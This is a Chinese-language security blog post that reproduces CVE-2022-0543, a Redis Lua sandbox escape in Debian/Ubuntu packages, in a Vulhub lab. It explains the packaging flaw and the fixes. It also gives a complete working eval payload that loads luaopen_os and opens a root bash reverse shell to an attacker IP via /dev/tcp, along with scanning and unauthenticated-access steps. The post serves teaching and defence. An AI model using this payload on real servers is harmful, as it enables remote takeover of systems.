1571 字
8 分钟
Redis 远程代码执行漏洞(CVE-2022-0543)复现

CVE-2022-0543 是 Debian/Ubuntu 打包 Redis 时引入的 Lua 沙箱逃逸漏洞,CVSS 10.0。上游 Redis 官方版本将 Lua 引擎静态嵌入二进制并剔除了危险模块,不受影响;Debian、Ubuntu 的维护者打包时改为动态链接系统自带的 Lua 库,且未正确清除 Lua 的 package 变量。攻击者通过 Redis 的 eval 命令执行 Lua 脚本,用 package.loadlib 加载系统 liblua 库并导出被禁用的 os 模块,即可在服务器上执行任意命令。漏洞不挑 Redis 版本,只挑安装方式:apt 安装的 Redis 才受影响。

复现基于 Vulhub 的 redis/CVE-2022-0543 靶场(Ubuntu 20.04 focal,Redis 5.0.7),覆盖指纹识别、未授权访问验证、Lua 沙箱检测、反弹 Shell 四个阶段,并拆解 Debian 打包引入缺陷的成因。

漏洞基础信息#

漏洞编号CVSS 评分影响版本漏洞类型
CVE-2022-054310.0apt 安装的 Redis:Debian buster(10)、bullseye(11);Ubuntu 20.04 LTS、21.10远程代码执行(RCE)

Ubuntu 18.04 LTS 不受影响(打包方式未引入该缺陷)。

漏洞复现#

复现环境准备#

使用 Vulhub 快速搭建漏洞环境:

Terminal window
┌──(kali㉿kali)-[~]
└─$ apt install docker.io docker-compose # 安装 Docker 和 docker-compose
└─$ git clone https://github.com/vulhub/vulhub.git # 将 Vulhub 项目克隆到本地
└─$ cd vulhub/redis/CVE-2022-0543
┌──(kali㉿kali)-[~/vulhub/redis/CVE-2022-0543]
└─$ docker-compose up -d # 拉取镜像并启动容器
└─$ docker ps # 确认容器启动状态
7b520778b565 vulhub/redis:5.0.7 "redis-server /etc/r…" 13 minutes ago Up 13 minutes 0.0.0.0:6379->6379/tcp, :::6379->6379/tcp cve-2022-0543-redis-1

端口扫描与服务识别#

Terminal window
┌──(kali㉿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script "default,vulners" 192.168.31.148
# 扫描结果
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 5.0.7
| vulners:
| cpe:/a:redislabs:redis:5.0.7:
| CVE-2021-21309 8.8 https://vulners.com/cve/CVE-2021-21309
| CVE-2020-14147 7.7 https://vulners.com/cve/CVE-2020-14147
| CVE-2021-32761 7.5 https://vulners.com/cve/CVE-2021-32761
| CVE-2020-21468 7.5 https://vulners.com/cve/CVE-2020-21468
| CVE-2015-8080 7.5 https://vulners.com/cve/CVE-2015-8080
|_ CVE-2021-3470 5.3 https://vulners.com/cve/CVE-2021-3470
MAC Address: 00:0C:29:B3:23:74 (VMware)

根据 nmap 扫描结果,靶机运行的是 Redis 5.0.7。这个版本正是 Ubuntu 20.04 LTS(focal)仓库中的打包版本,也是本靶机镜像的底座,属于 CVE-2022-0543 的受影响范围。

虽然 nmap 的漏洞脚本列出了一些其他 CVE,但都不是本漏洞。CVE-2022-0543 是 Debian 系列特有的打包缺陷,不与特定 Redis 版本号绑定,因此不会出现在基于版本比对的通用扫描结论中,需要结合安装方式判断。

未授权访问验证#

尝试空密码连接 Redis,并获取服务器信息:

Terminal window
┌──(kali㉿kali)-[~]
└─$ redis-cli -h 192.168.31.148
192.168.31.148:6379> info
# Server
redis_version:5.0.7
...(其余字段省略)
os:Linux 6.17.10+kali-amd64 x86_64
...(其余字段省略)
config_file:/etc/redis/redis.conf

从结果来看该靶机的 Redis 服务没有密码且允许远程连接,存在未授权访问。

redis_version: 5.0.7:正处于受影响的版本区间。

os:Linux 6.17.10+kali-amd64 x86_64:确认是 64 位 Linux 环境,这决定了后续加载 .so 文件的路径。

config_file: /etc/redis/redis.conf:典型的 Debian/Ubuntu 软件包安装路径,验证了这是 Debian 打包版的 Redis。

Lua 沙箱检测#

验证 Lua 环境是否异常,看 package 模块是否存在:

Terminal window
192.168.31.148:6379> eval 'return package' 0
(empty array)

在正常的、安全的 Redis Lua 沙盒中,package 不存在,执行 return package 会触发全局变量保护报错 Script attempted to access nonexistent global variable 'package'。而目标的环境返回了一个空的数组(在部分 Redis 客户端中代表这是一个存在的 Table 对象),这说明 package 模块已经被加载到了 Lua 环境中,漏洞存在。

执行攻击 Payload#

攻击机启动 nc 监听,接收反弹 Shell:

Terminal window
┌──(kali㉿kali)-[~]
└─$ nc -lvvp 4444
listening on [any] 4444 ...

该漏洞需要加载 liblua。由于不同系统路径不同,通常可以尝试以下常见路径:

  • /usr/lib/x86_64-linux-gnu/liblua5.1.so.0(Ubuntu 20.04 等较新系统)
  • /usr/lib/i386-linux-gnu/liblua5.1.so.0(32 位系统)
  • /usr/local/lib/liblua.so(手动编译安装)

执行 Payload:

Terminal window
192.168.31.148:6379> eval 'local os_execute = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_os"); local os = os_execute(); return os.execute("bash -c \"bash -i >& /dev/tcp/192.168.31.152/4444 0>&1\"");' 0

nc 监听端随即收到来自靶机的反弹 Shell,id 返回 uid=0(root):容器内 Redis 进程以 root 身份运行,反弹 Shell 即为 root 权限。

nc 监听端收到反弹 Shell,id 命令返回 uid=0(root)

漏洞核心原理#

Debian 打包引入的缺陷#

正常的 Redis 官方版本在编译时,会将 Lua 脚本引擎的代码静态嵌入到程序内部,并且严格剔除了 Lua 原生标准库中具有危险功能的模块(如 package 和 os)。

但在 Debian、Ubuntu 等系统中,维护者在打包 Redis 时,为了减少程序体积并遵循系统组件共享原则,修改了源码,让 Redis 去动态链接系统自带的 Lua 库。动态链接的 Lua 库自带完整的标准模块集合,打包脚本本应把 package 等危险变量从 Lua 环境中清除,但受影响版本的打包流程没有正确完成这一步,package 变量残留在了 Redis 的 Lua 沙盒里,这就是漏洞的源头。

沙箱逃逸#

Redis 的 Lua 环境是一个沙盒,本意是只允许处理数据,禁止操作服务器系统。虽然 package 模块被错误引入了,但直接调用系统命令的 os 模块依然是被禁用的。攻击者可以指定加载系统自带的 liblua5.1.so.0 库,并强行调用其中的 luaopen_os 函数。这个操作会在当前的 Redis Lua 环境中重新导出原本被禁用的 os 模块。

系统调用#

一旦 os 模块被成功导出,Lua 脚本就拥有了调用底层操作系统 API 的能力:

local os_execute = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_os") -- 加载系统 liblua,定位 luaopen_os 函数
local os = os_execute() -- 调用它,导出 os 模块
os.execute("id") -- 以 Redis 进程身份执行系统命令

Redis 进程会代表 Lua 脚本向操作系统发送指令。命令的执行权限等于 Redis 进程的运行身份。本靶机的 Redis 以 root 运行,所以反弹 Shell 直接是 root 权限;生产环境若以 redis 专用用户运行,攻击者获得的也是该用户的权限,仍可进一步利用。

修复方案#

  • Debian buster 升级至 5:5.0.14-1+deb10u2,bullseye 升级至 5:6.0.16-1+deb11u2(DSA-5081-1,2022-01-20);
  • Ubuntu 20.04 升级至 5:5.0.7-2ubuntu0.1,21.10 升级至 5:6.0.15-1ubuntu0.1(USN-5316-1);
  • 官方源码编译的 Redis 不受影响,无需处理。

该漏洞需要攻击者能执行 eval 命令,因此未授权访问或弱口令是攻击的前提条件。无论是否受本漏洞影响,Redis 都不应暴露在不可信网络中,应设置认证并限制访问来源。

参考链接#

Redis 远程代码执行漏洞(CVE-2022-0543)复现
https://blog.mal-suen.cn/posts/2023/09/2918/
作者
Malcolm
发布于
2023-09-29
许可协议
CC BY-NC-SA 4.0